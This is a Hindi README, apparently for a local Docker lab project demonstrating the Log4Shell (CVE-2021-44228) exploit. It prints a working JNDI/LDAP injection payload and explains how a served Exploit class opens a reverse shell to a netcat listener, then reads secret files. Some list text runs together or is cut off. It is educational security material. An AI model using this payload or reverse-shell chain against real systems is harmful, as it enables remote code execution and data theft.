
CVE-2021-44228 भेद्यता का शोषण करने का तरीका प्रस्तुत करता है।
CVE-2021-44228 भेद्यता का शोषण कैसे करें, यह प्रस्तुत करने वाला एक Java-आधारित प्रोजेक्ट।
jdk1.8.0_181 डायरेक्टरी में रखें।make all चलाएँ।make start-vulnerable-service। सेवा स्थानीय मशीन पोर्ट 8080 पर सुलभ होगी।make start-nc जो आक्रमित सर्वर के साथ कनेक्शन स्थापित होने की प्रतीक्षा करेगा।make start-exploiter।make start-nc चलाया गया था) जाँचें। आपको Connection received on 172.24.0.2 46638 जैसा संदेश मिल सकता है (IP पता और TCP पोर्ट यहाँ प्रस्तुत से भिन्न हो सकते हैं)। इसका मतलब है कि शोषण काम कर गया और अब हमारे पास सर्वर/Docker कंटेनर पर एक शेल कनेक्टेड है।इसका उत्तर देने से पहले, आइए पूरे प्रवाह में बनाई गई प्रक्रियाओं पर एक नज़र डालें।

यह Docker कंटेनर एक सरल HTTP सेवा प्रदान करेगा जो /log पथ पर input पैरामीटर के साथ GET अनुरोध प्राप्त करने के लिए जिम्मेदार है। एक बार प्राप्त होने पर, यह इनपुट को कंसोल पर लॉग करता है।
भेद्यता का शोषण करने के लिए, कुछ विशिष्ट कॉन्फ़िगरेशन आवश्यक हैं:
1.8.0_181 है। किसी बाहरी सेवा से Java क्लास लोड करने की अनुमति देने के लिए यह आवश्यक है।spring-boot-starter-logging:2.6.1 को spring-boot-starter-log4j2:2.6.1 से बदला जा सके। बाद वाला प्रोजेक्ट में log4j-core:2.14.1 लाता है, जो CVE-2021-44228 के लिए भेद्य संस्करण है।
1.8.0_181 के साथ बनाई गई थी।यहाँ कोई बड़ी व्याख्या या समायोजन नहीं हैं। यह एक सरल प्रोग्राम है जो TCP और UDP प्रोटोकॉल के माध्यम से डेटा पढ़ने और लिखने के लिए उपयोग किया जाता है। हम इसका उपयोग पोर्ट 9001 पर आने वाले TCP कनेक्शनों को सुनने के लिए करेंगे (कुछ और हमारे लिए सर्वर पक्ष पर यह कनेक्शन खोलेगा। 😉)।
एक बार कनेक्शन स्थापित होने के बाद, सभी आने वाला डेटा कंसोल पर आउटपुट होगा। साथ ही, लिखा गया सभी इनपुट इस कनेक्शन के माध्यम से भेजा जाएगा।
अब यहीं से मज़ा शुरू होता है!
यह प्रोग्राम भेद्यता का शोषण करने के लिए आवश्यक कई चरणों को समाहित करता है। आइए इसे विभाजित करें:
इस प्रोग्राम को चलाने के लिए, हमें तीन पैरामीटर सूचित करने होंगे:
एक बार प्रोग्राम शुरू होने के बाद, यह एक टेम्पलेट पर आधारित एक Java कोड लिखेगा। इस टेम्पलेट को दो तर्कों की आवश्यकता है: Netcat IP पता और पोर्ट।
कोड लिखे जाने के बाद, प्रोग्राम इसे Java कंपाइलर (javac) संस्करण 1.8.0_181 का उपयोग करके एक बाइनरी क्लास फ़ाइल में संकलित करेगा। शोषित सेवा के समान कोड संस्करण बनाए रखने के लिए यह महत्वपूर्ण है।
शोषण Java क्लास की संरचना काफी सरल है। इसके कंस्ट्रक्टर पर एक निर्देश है जो ऑपरेटिंग सिस्टम से एक शेल प्रोग्राम बनाने का अनुरोध करता है। एक बार यह बन जाने के बाद, क्लास Netcat के साथ एक TCP कनेक्शन खोलता है, शेल और TCP कनेक्शन के इनपुट और आउटपुट को बाँधता है और Java वर्चुअल मशीन निष्पादन को एक लूप में फँसाता है जब तक कि Netcat द्वारा कनेक्शन बंद नहीं किया जाता। एक बार यह लूप से बाहर निकलने पर कंस्ट्रक्टर ऐसे जारी रहता है जैसे कुछ हुआ ही न हो।
शोषक एक उप-प्रक्रिया खोलता है जो Marshalsec Java प्रोग्राम को निष्पादित करने का अनुरोध करता है। Marshalsec प्रोग्राम mbechler/marshalsec Github प्रोजेक्ट पर उपलब्ध है।
अन्य कार्यक्षमताओं के साथ, यह LDAP अनुरोधों का प्रबंधन करता है और इसका उपयोग आने वाले कनेक्शनों को किसी बाहरी स्रोत से Java क्लास डाउनलोड करके अनुरोधों को हल करने के लिए कहने के लिए किया जा सकता है। हमारे मामले में, हम इसका उपयोग आने वाले कनेक्शनों को HTTP सेवा से अपनी Exploit Java क्लास डाउनलोड करने का अनुरोध करने के लिए करेंगे।
एक बार शोषक प्रोग्राम ने धोखाधड़ी वाली Java क्लास बना ली है, तो यह एक एकल प्रतिक्रिया के साथ एक HTTP सेवा शुरू करेगा: शोषण बाइनरी Java क्लास।
संक्षेप में, जब भेद्य सेवा बाहरी क्लास लोड करने का अनुरोध करती है, तो यह सेवा Java क्लास बाइनरी फ़ाइल पढ़ेगी और इसे वापस भेद्य सेवा को भेजेगी। इतना ही सरल!
एक बार सब कुछ चालू हो जाने के बाद, प्रोग्राम शोषण को ट्रिगर करने के लिए आवश्यक HTTP अनुरोध आउटपुट करेगा। बस इसे कॉपी करें और अपने पसंदीदा ब्राउज़र में पेस्ट करें या टर्मिनल के माध्यम से curl करें, जो भी आपके लिए सबसे अच्छा काम करता है!
अनुरोध कुछ इस प्रकार होगा:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
चूँकि क्वेरी पैरामीटर में विशेष वर्ण होते हैं, ब्राउज़र उन्हें स्वीकार कर सके इसके लिए उन्हें एनकोड करने की आवश्यकता होती है। यदि हम इसे डीकोड करें तो संदेश होगा:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
यहाँ एक सरलीकृत आरेख है कि अनुरोध भेजे जाने के बाद क्या होता है:

मैं इसका उपयोग यह समझाने का प्रयास करूँगा कि आगे क्या होता है:
${jndi:ldap://host.docker.internal:1389/a}।host.docker.internal:1389 से a कुंजी का उपयोग करके प्राप्त किया जाना चाहिए (एक नीरस और अमान्य LDAP विशिष्ट नाम लेकिन, अरे, जब तक यह काम करता है...)। log4j तब मान प्राप्त करने के इरादे से इस पते पर एक अनुरोध भेजता है।अवलोकन: host.docker.internal Docker सेवा के लिए भौतिक मशीन तक पहुँचने के लिए एक मान्य पता है जिस पर वह चल रही है।
host.docker.internal:8000 पर उपलब्ध Exploit नाम की एक Java क्लास फ़ाइल डाउनलोड करने के लिए कहेगा ताकि अनुरोध हल हो सके।host.docker.internal:8000 पर /Exploit पथ पर उपलब्ध संसाधन प्राप्त करने का अनुरोध भेजता है।Exploit बाइनरी Java क्लास भेजकर अनुरोध का जवाब देगी।Exploit() कंस्ट्रक्टर विधि को निष्पादित करके चर को हल करने के लिए क्लास को इंस्टेंटिएट करने का प्रयास करता है।Exploit() कंस्ट्रक्टर विधि सर्वर पर एक शेल प्रोग्राम शुरू करती है, और host.docker.internal:9001 के साथ एक TCP चैनल खोलने का अनुरोध करती है।Exploit() कंस्ट्रक्टर विधि तब शेल इनपुट और आउटपुट को TCP कनेक्शन से बाँधती है और Java वर्चुअल मशीन थ्रेड को एक लूप में फँसाती है जब तक कि TCP कनेक्शन दूसरे पक्ष द्वारा बंद नहीं किया जाता।बाद में जोड़ा जाएगा
kozmer/log4j-shell-poc Github प्रोजेक्ट - इसने मुझे यह समझने में मदद की कि शोषण कैसे काम करता है। इस प्रोजेक्ट में योगदान देने वाले सभी लोगों को धन्यवाद!
mbechler/marshalsec Github प्रोजेक्ट - इस प्रोजेक्ट के बिना मैं LDAP संचार और पुनर्निर्देशन के साथ उतनी जल्दी काम नहीं कर पाता जितना मैंने किया। आप लोगों को धन्यवाद!
SrcCodes Log4j Vulnerability वीडियो - एक अच्छी तरह से समझाया गया वीडियो जो Spring-आधारित प्रोग्राम पर शोषण शुरू करने का तरीका प्रस्तुत करता है।
Nowcomm CVE-2021-44228 exploit demo वीडियो - Apache Solr पर CVE-2021-44228 का शोषण कैसे करें, यह समझाने वाला एक अच्छा वीडियो। मुझे यह समझने के लिए दूसरे भाग को लगभग एक दर्जन बार देखना पड़ा कि वास्तव में क्या हो रहा था! 😛
whoami कमांड चलाने का प्रयास करें। आपको root आउटपुट मिल सकता है।cat ../private-directory/my-secret-file.txt चलाने का प्रयास करें। 🙂CTRL+C दबाएँ।CTRL+C दबा सकते हैं।